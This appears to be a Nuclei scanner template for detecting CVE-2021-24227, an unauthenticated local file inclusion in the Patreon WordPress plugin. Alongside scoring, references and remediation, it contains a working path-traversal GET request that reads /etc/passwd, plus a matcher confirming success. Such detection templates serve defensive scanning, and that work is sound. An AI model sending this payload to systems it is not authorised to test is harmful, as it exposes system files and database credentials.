id: CVE-2021-24227 info: name: Patreon WordPress <1.7.0 - Unauthenticated Local File Inclusion author: theamanrawat severity: high description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies. impact: | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise of the system. remediation: | Upgrade to Patreon WordPress plugin version 1.7.0 or later to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016 - https://wordpress.org/plugins/patreon-connect/ - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24227 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-24227 cwe-id: CWE-200 epss-score: 0.02607 epss-percentile: 0.90292 cpe: cpe:2.3:a:patreon:patreon_wordpress:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: patreon product: patreon_wordpress framework: wordpress tags: cve,cve2021,wordpress,patreon-connect,unauth,lfi,patreon,wp,wpscan http: - method: GET path: - "{{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a00473045022100d715a8e520cf5727c132342f09ac7b40097daca062029a9cb8f6b7bf2bd6c5ba0220142bb7c95232cdbb5e7fc81003752a1bd8d72ab9bb20e42fa86153d12f216f67:922c64590222798bb761d5b6d8e72950